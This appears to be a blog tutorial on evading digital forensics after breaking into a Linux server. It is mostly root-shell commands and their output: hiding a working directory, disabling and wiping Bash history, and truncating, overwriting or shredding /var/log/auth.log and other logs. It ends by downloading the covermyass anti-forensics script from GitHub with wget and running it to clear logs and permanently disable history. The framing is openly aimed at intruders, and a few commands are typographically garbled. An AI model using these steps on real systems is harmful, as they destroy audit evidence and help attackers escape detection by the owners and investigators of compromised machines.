How to clean Bash logs and history on hacked Linux servers. Covering your tracks so digital forensics experts can’t catch you

One of the main skills that a hacker must have is to know how to hide their trail to prevent investigators or cybersecurity and digital forensics experts from detecting their identity. These techniques become much more important in case cybercriminals wish to access a compromised system in the future.

This time, cybersecurity and digital forensics experts from the International Institute of Cyber Security (IICS) will show some basic concepts for this activity, including deleting Bash history and deleting records on Linux systems.

Before continuing, we remind you that this article was prepared for informational purposes and should not be taken as a call to action, so IICS is not responsible for the misuse that may be given to the information contained herein.

Compromising the target

Although it sounds obvious, we must remember that the first step is the attack on the target. In this example, cybersecurity and digital forensics experts exploit incorrect command processing in the target system to inject arbitrary commands and obtain a shell, which will need to be updated to be fully interactive.

This procedure will greatly simplify the work. After that, we can perform privilege escalation to take full advantage of the affected system.

Create an easily removable hidden directory

After gaining root access, it is possible to create a hidden directory to work with and store any script or file in it, mention cybersecurity and digital forensics experts.

On the one hand, these actions can go unnoticed by novice system administrators, so in certain scenarios greater skills will be required. First, let’s look for all directories using the following command:

root@target:/# find / -perm -222 -type d 2>/dev/null

/dev/shm
/var/lock
/var/lib/php5
/var/tmp
/var/www/dav
/var/www/twiki/data/Sandbox
/var/www/twiki/data/Main
/var/www/twiki/data/Know
/var/www/twiki/data/TWiki
/var/www/twiki/data/_default
/var/www/twiki/data/Trash
/var/www/twiki/pub/Sandbox
/var/www/twiki/pub/Main
/var/www/twiki/pub/Know
/var/www/twiki/pub/Know/IncorrectDllVersionW32PTH10DLL
/var/www/twiki/pub/TWiki
/var/www/twiki/pub/TWiki/TWikiDocGraphics
/var/www/twiki/pub/TWiki/TWikiTemplates
/var/www/twiki/pub/TWiki/TWikiLogos
/var/www/twiki/pub/TWiki/PreviewBackground
/var/www/twiki/pub/TWiki/FileAttachment
/var/www/twiki/pub/TWiki/WabiSabi
/var/www/twiki/pub/Trash
/var/www/twiki/pub/icn
/tmp
/tmp/.ICE-unix
/tmp/.X11-unix

We can use the mkdir command to create a hidden directory by adding a period to the name:

root@target:/# mkdir /dev/shm/.secret

Cybersecurity and digital forensics experts recommend configuring the command to list the contents of /dev/shm. As you can see, nothing appears:

root@target:/# ls -l /dev/shm/

total 0

The directory only appears when we use the -a switch to list all the files and directories:

root@target:/# ls -la /dev/shm/

total 0
drwxrwxrwt  3 root root    60 2019-06-19 13:49 .
drwxr-xr-x 13 root root 13480 2019-06-19 13:41 ..
drwxr-xr-x  2 root root    40 2019-06-19 13:49 .secret

To delete a directory after it has finished working on the compromised system, use the rmdir command:

root@target:/# rmdir /dev/shm/.secret/

Delete Bash history

Bash is a popular command-line user interface capable of keeping in memory a list of the commands used in the current session, so this data is the first target to delete to cover our steps. Using the history command, we can see the details of the most recent activity in the system:

root@target:/# history

    1  cd /
    2  ls
    3  find / -perm -222 -type d 2>/dev/null
    4  cd /dev/shm/
    5  cd /
    6  mkdir /dev/shm/.secret
    7  ls -l /dev/shm/
    8  ls -la /dev/shm/
    9  ls
   10  rmdir /dev/shm/.secret/
   11  history

Commands are written to the HISTFILE environment variable, usually .bash_history. We can use the echo command to find the location, say cybersecurity and digital forensics experts:

root@target:/# echo $HISTFILE
/root/.bash_history

Next, we’ll use the unset command to delete the variable:

root@target:/# unset HISTFILE

Repeating the procedure again, we see that no data appears in the history:

root@target:/# echo $HISTFILE

To prevent the command history from being saved, you can also send it to /dev/null. To do this, set the variable:

root@target:/# HISTFILE=/dev/null

Or do the same with the export command:

root@target:/# export HISTFILE=/dev/null

The history will now be sent to /dev/null (in other words, nowhere):

root@target:/# echo $HISTFILE

/dev/null

Set the number of commands that will persist during the current session to 0 using the HISTSIZE variable:

root@target:/# HISTSIZE=0

Otherwise, you can use the export command:

root@target:/# export HISTSIZE=0

Change the number of lines allowed in the history using the HISTFILESIZE variable. Set this value to 0:

root@target:/# HISTFILESIZE=0

Or use export:

root@target:/# export HISTFILESIZE=0

According to cybersecurity and digital forensics experts, you can use the set command to change shell parameters. To disable the history option, use the following command:

root@target:/# set +o history

To turn on the history again:

root @ target: / # set -o history

Similarly, you can use the shopt command to change shell options. To disable history, use the following command:

root@target:/# shopt -ou history

Turn on again:

root@target:/# shopt -os history

When executing commands on the target system, it is sometimes possible to avoid storing them in the history by running the command with an initial space:

root@target:~#  cat /etc/passwd

This method does not always work and depends on the system. It is also possible to clear the history simply with the -c switch:

root@target:~# history –c

To ensure that changes are written to disk, use the -w switch:

root@target:~# history –w

These actions will only clear the history of the current session. To ensure that the history is cleared when you log out, cybersecurity and digital forensics experts recommend using the following command:

root@target:/# cat /dev/null > ~/.bash_history && history -c && exit

You can also use the kill command to log out without saving the history:

root@target:/# kill -9 $$

Clean log files

In addition to Bash’s track record, he also needs to clean up the records to go unnoticed, cybersecurity and digital forensics experts say. Here are some common log files and their contents:

  • /var/log/auth.log – Authentication
  • /var/log/cron.log Cron – Tasks
  • /var/log/maillog – Mail
  • /var/log/httpd – Apache

It is possible to delete the record using the rm command:

root@target:/# rm /var/log/auth.log

This process is not recommended, as it could raise suspicions. Therefore, it is recommended to leave the file empty instead of deleting it completely; to do this, you can use the truncate command and reduce the file size to 0:

root@target:/# truncate -s 0 /var/log/auth.log

It is necessary to consider that the truncate function is not always present and not in all systems.

The same can be done by assigning “nothing” to the file:

root@target:/# echo '' > /var/log/auth.log

And also use > to clean a file:

root@target:/# > /var/log/auth.log

We can also send it to /dev/null:

root @ target: / # cat/dev/null>/var/log/auth.log

Or use the tee command:

root@target:/# true | tee /var/log/auth.log

You can also use the dd command to write nothing to the log file:

root@target:/# dd if=/dev/null of=/var/log/auth.log

0+0 records in
0+0 records out
0 bytes (0 B) copied, 6.1494e-05 s, 0.0 kB/s

The shred command can be used to overwrite a file with meaningless binary data:

root@target:/# shred /var/log/auth.log

Also, you can add -zu to truncate the file and overwrite it with zeros:

root@target:/# shred -zu /var/log/auth.log

Use a tool to hide possible remaining traces

To minimize the likelihood of detection, cybersecurity and digital forensics experts recommend the use of a special script. The Covermyass script, for example, automates the processes described above, including deleting log files and disabling Bash history.

If the target device has internet access, you can download the script from GitHub using wget (otherwise the script will need to be transferred manually):

root@target:/# wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass

Switch to a writable directory and use chmod to make it executable:

root@target:/tmp# chmod +x covermyass

Next, let’s run the following command:

root@target:/tmp# ./covermyass

Welcome to Cover my ass tool !

Select an option :

1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool

>

We have a customizable message with several options to choose from. Let’s choose the first one to clear the logs:

> 1

[+] /var/log/messages cleaned.
[+] /var/log/auth.log cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.

Reminder: your need to reload the session to see effects.
Type exit to do so.

It is also possible to disable Bash and login history with option 2:

> 2

[+] Permanently sending /var/log/auth.log to /dev/null
[+] Permanently sending bash_history to /dev/null
[+] Set HISTFILESIZE & HISTSIZE to 0
[+] Disabled history library

Permenently disabled bash log.

If you need to erase everything urgently, just follow this command:

root@target:/tmp# ./covermyass now

[+] /var/log/messages cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.

Reminder: your need to reload the session to see effects.

Conclusion

These are the methods most employed by hackers to hide their steps after an attack. The functionality of these techniques varies depending on the target system, so this is really only the first step in the hacker’s specialization.

To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.